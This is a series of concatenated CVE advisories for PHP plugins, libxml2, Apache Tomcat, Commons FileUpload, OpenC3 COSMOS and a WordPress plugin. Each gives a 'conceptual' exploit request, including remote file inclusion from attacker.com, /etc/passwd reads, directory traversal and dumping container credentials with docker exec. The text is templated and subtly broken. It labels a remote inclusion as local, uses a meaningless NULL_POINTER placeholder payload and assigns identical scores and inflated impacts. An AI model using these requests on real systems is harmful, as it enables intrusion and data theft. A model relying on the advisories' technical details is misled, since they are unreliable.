Author: Ameeba

Overview

CVE-2025-47572 is a critical vulnerability affecting the School Management software by mojoomla. The vulnerability arises due to improper control of the filename for Include/Require statement in the PHP program, leading to a potential PHP Local File Inclusion (LFI). This vulnerability poses a significant threat as it allows an attacker to potentially compromise the system or cause data leakage.

Vulnerability Summary

CVE ID: CVE-2025-47572
Severity: High / 7.5 CVSS Score
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

School Management | Up to 93.0.0

How the Exploit Works

The exploit takes advantage of the software’s improper control of the filename for Include/Require statement in PHP. An attacker could manipulate the PHP program to include or require a file located on a remote server that the attacker controls. This could lead to the execution of arbitrary PHP code, giving the attacker the potential to compromise the system or cause data leakage.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. This example assumes a vulnerable PHP file that uses user-supplied input to build a file path for inclusion:

GET /vulnerable_file.php?file=http://attacker.com/malicious_file HTTP/1.1
Host: vulnerable.example.com

In this example, the attacker provides a URL (http://attacker.com/malicious_file) as a parameter. If the application doesn’t properly validate or sanitize this input, the attacker’s file would be included and its code executed.

Mitigation Guidance

To mitigate this vulnerability, users of the affected software are advised to apply patches provided by the vendor as soon as they’re available. In the meantime, deploying a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These systems can potentially detect and block attempts to exploit this vulnerability. Additionally, it is recommended to sanitize and validate inputs to prevent malicious inclusions.

Overview

This report provides an in-depth analysis of a significant vulnerability, CVE-2025-32549, affecting mojoomla’s WPGYM software. This vulnerability lies in the improper control of filename for Include/Require statement in the PHP program, leading to a potential PHP Remote File Inclusion. It holds importance due to its high severity score and the potential for system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-32549
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

mojoomla WPGYM | n/a through 65.0

How the Exploit Works

The vulnerability stems from the software’s improper control of a filename in an Include/Require statement in a PHP program. This lack of control allows an attacker to manipulate the input to load a remote file. The attacker can then execute arbitrary PHP code, compromising the system or leading to potential data leakage.

Conceptual Example Code

The following is a conceptual HTTP request that an attacker might use to exploit this vulnerability:

GET /vulnerable_page.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com

In this case, the “file” parameter in the URL is vulnerable to file inclusion. The attacker can specify an arbitrary file, like “malicious_file.php” hosted on their server, leading to its execution on the target server.

Recommendation

To mitigate this vulnerability, users should apply the vendor’s patch as soon as it is available. In the meantime, Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can be used as a temporary solution to detect and block such malicious requests.

Overview

The CVE-2025-49795 is a major vulnerability found within libxml2, an XML parsing library commonly used in information systems and web services. The vulnerability, a NULL pointer dereference, can be exploited to trigger a denial of service attack, potentially compromising systems or leading to data leakage.

Vulnerability Summary

CVE ID: CVE-2025-49795
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of Service; possible system compromise and data leakage

Affected Products

Product | Affected Versions

libxml2 | All versions up to the latest patch

How the Exploit Works

The vulnerability exists within the XPath processing module of the libxml2 library. An attacker can craft a malicious XML input designed to cause a NULL pointer dereference when parsed by libxml2. This results in a service disruption, causing a denial of service. If the attacker’s input is crafted with precise knowledge of the system’s memory layout, it could potentially even lead to arbitrary code execution.

Conceptual Example Code

POST /xml/parse HTTP/1.1
Host: target.example.com
Content-Type: application/xml
<root>
<exploit>{{NULL_POINTER}}</exploit>
</root>

In this conceptual example, the attacker sends a POST request to a vulnerable endpoint, embedding the malicious payload within the XML data. The payload, represented here symbolically as {{NULL_POINTER}}, is designed to trigger the NULL pointer dereference in libxml2.

Overview

The CVE-2025-49125 vulnerability is a critical security flaw identified in Apache Tomcat, a widely used web server software. The vulnerability allows potential attackers to bypass authentication and gain unauthorized access to protected resources. This flaw can lead to significant security breaches, potentially compromising system integrity or resulting in data leakage.

Vulnerability Summary

CVE ID: CVE-2025-49125
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Apache Tomcat | 11.0.0-M1 through 11.0.7
Apache Tomcat | 10.1.0-M1 through 10.1.41
Apache Tomcat | 9.0.0.M1 through 9.0.105

How the Exploit Works

The vulnerability lies in the ability to access PreResources or PostResources mounted in areas other than the root of the web application via an unexpected path. This unexpected path may not be protected by the same security constraints as the expected path, allowing bypassing of these security constraints.

Conceptual Example Code

The following pseudocode illustrates a potential exploit of this vulnerability:

GET /unprotected-path/resource HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "access_request": "resource_data" }

In this example, an attacker sends a GET request to an unprotected path (unlike the expected secure path), potentially gaining access to sensitive resources. It is worth noting that the actual exploit would depend on the specific configurations and security measures in place on the target server.

Overview

The Apache Tomcat servers from versions 11.0.0-M1 through 11.0.7, 10.1.0-M1 through 10.1.41, and 9.0.0.M1 through 9.0.105 have been identified with a severe vulnerability. This vulnerability, classified under CVE-2025-48988, enables attackers to potentially compromise the system or lead to data leakage. It is therefore crucial for system administrators and security professionals to understand this threat and take prompt action to mitigate it.

Vulnerability Summary

CVE ID: CVE-2025-48988
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Apache Tomcat | 11.0.0-M1 through 11.0.7
Apache Tomcat | 10.1.0-M1 through 10.1.41
Apache Tomcat | 9.0.0.M1 through 9.0.105

How the Exploit Works

The vulnerability occurs due to an error in the allocation of resources without limits or throttling within Apache Tomcat. This could allow an attacker to send specially crafted requests to consume all available resources, leading to a denial-of-service (DoS) condition or even potential system compromise.

Conceptual Example Code

A potential exploitation might look like this:

POST /resourceIntensiveEndpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "resourceDemandingPayload": "Repeatedly demanding high resource task" }

In the above pseudocode, `resourceIntensiveEndpoint` represents a vulnerable endpoint that doesn’t have proper resource allocation limits. The `resourceDemandingPayload` is designed to consume large amounts of system resources, leading to potential system compromise.

Overview

The Apache Commons FileUpload library, widely used software for handling file uploads in Java-based web applications, has been found to have a significant vulnerability (CVE-2025-48976). This vulnerability stems from insufficient limits on the allocation of resources for multipart headers, enabling a potential Denial of Service (DoS) attack. This issue is of critical concern to any system employing affected versions of Apache Commons FileUpload, as it may lead to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-48976
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Apache Commons FileUpload | 1.0 to 1.5
Apache Commons FileUpload | 2.0.0-M1 to 2.0.0-M3

How the Exploit Works

The vulnerability lies in the way Apache Commons FileUpload processes multipart headers. By sending a specially crafted multipart request with an excessive amount of data in the headers, an attacker can exhaust system resources, causing the application to become unresponsive, leading to a DoS condition. This could potentially be exploited further to gain unauthorized access or extract sensitive data.

Conceptual Example Code

A conceptual example of the exploit might involve sending an HTTP POST request with an excessive amount of data in the multipart headers. An example might look like this:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="file.txt"
Content-Type: text/plain
[large amount of data]
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In the above example, the `[large amount of data]` will be replaced with an excessive amount of data, exhausting system resources and potentially leading to a DoS condition.

Overview

CVE-2025-25265 is a crucial cybersecurity vulnerability in a web application controller, allowing an unauthenticated attacker to remotely read files from the system file structure. This vulnerability poses a significant risk to organizations that utilize this specific controller due to the potential for system compromise and data leakage, showcasing the urgent need for remediation.

Vulnerability Summary

CVE ID: CVE-2025-25265
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Web Application Controller | All Versions

How the Exploit Works

The vulnerability resides in a specific endpoint of the web application for configuring the controller. This endpoint does not properly authenticate requests, allowing an attacker to send specifically crafted requests to this endpoint, resulting in the controller reading and returning files from the system file structure. This could potentially include sensitive files, leading to a system compromise or data leakage.

Conceptual Example Code

Here is a conceptual HTTP request that could exploit this vulnerability:

GET /controller/config/endpoint?file=/etc/passwd HTTP/1.1
Host: target.example.com

In this example, the attacker is requesting the `/etc/passwd` file, which could contain sensitive information.

Mitigation Guidance

Organizations affected by this vulnerability should immediately apply the vendor-provided patch to their systems. If the patch cannot be applied immediately, a temporary mitigation measure would be to utilize a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block malicious requests to the vulnerable endpoint.

Overview

A high-severity vulnerability has been identified in OpenC3 COSMOS 6.0.0, potentially allowing attackers to execute a directory traversal. This vulnerability, tracked as CVE-2025-28382, poses a significant risk to any organization utilizing the affected software as it can lead to system compromise or data leakage. Immediate action is required to mitigate the risk.

Vulnerability Summary

CVE ID: CVE-2025-28382
Severity: High (7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System Compromise or Data Leakage

Affected Products

Product | Affected Versions

OpenC3 COSMOS | 6.0.0

How the Exploit Works

The vulnerability resides in the openc3-api/tables endpoint of OpenC3 COSMOS 6.0.0. This vulnerability allows an attacker to manipulate the API endpoint with directory traversal sequences, ultimately enabling them to access unauthorized files or directories. An attacker can exploit this to gain access to sensitive information or execute arbitrary code, potentially leading to a full system compromise.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. This example uses a malicious HTTP POST request to the vulnerable endpoint, injecting directory traversal sequences into the request.

POST /openc3-api/tables/../../../etc/passwd HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "..." }

Mitigation Guidance

Users are advised to apply the latest vendor patches to address this vulnerability. In case patches are not immediately available, organizations can use a web application firewall (WAF) or intrusion detection system (IDS) to detect and block malicious traffic as a temporary mitigation measure. It’s crucial to stay updated with the latest security advisories from the vendor and apply patches as soon as they are released.

Overview

This report provides an in-depth analysis of the recently identified cybersecurity vulnerability, CVE-2025-28381. This critical vulnerability affects OpenC3 COSMOS v6.0.0, where an attacker can access service credentials stored as environment variables in all containers. The potential impact of this vulnerability is significant, including potential system compromise and data leakage, which emphasizes the urgency of this issue.

Vulnerability Summary

CVE ID: CVE-2025-28381
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, Data leakage

Affected Products

Product | Affected Versions

OpenC3 COSMOS | v6.0.0

How the Exploit Works

The attacker can exploit this vulnerability by targeting the OpenC3 COSMOS v6.0.0 system’s containers. Due to a lack of proper security measures, service credentials are stored as environment variables in all containers. This flaw allows an attacker to access these credentials, potentially compromising the entire system and leaking sensitive data.

Conceptual Example Code

While no specific exploit code is available, the attack may resemble the conceptual example below:

$ docker exec -it [container_id] env

This shell command, executed within the compromised system, lists the environment variables of a specific container. If the credentials are stored as plain environment variables, the attacker could extract them from the output of this command.

Overview

The WP Travel Engine – Tour Booking Plugin for WordPress, a popular tool used by tour operators, is vulnerable to unauthorized data loss due to a significant flaw in its delete_package() function. This vulnerability, labeled as CVE-2025-5282, allows unauthenticated attackers to delete arbitrary posts, posing a potential threat to system integrity and data confidentiality.

Vulnerability Summary

CVE ID: CVE-2025-5282
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized deletion of arbitrary posts, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

WP Travel Engine – Tour Booking Plugin – Tour Operator Software Plugin for WordPress | Up to and including 6.5.1

How the Exploit Works

The vulnerability exists due to a missing capability check on the delete_package() function in the WP Travel Engine – Tour Booking Plugin. This lack of a capability check means that any user, authenticated or not, can send a request to delete any arbitrary post. In the hands of a malicious actor, this can lead to unauthorized data loss, system compromise, or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using an HTTP request:

POST /wp-travel-engine/delete_package HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
package_id=1234

In this example, `package_id` corresponds to the ID of the post or ‘package’ that the attacker wishes to delete. The server, due to the vulnerability, does not check if the user has the required permissions to delete the post, leading to unauthorized data loss.

Mitigation Guidance

Users of the affected plugin are strongly advised to apply the vendor’s patch at the earliest. In case the patch cannot be applied immediately, users should consider using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. Prompt action is crucial to prevent potential system compromise or data leakage.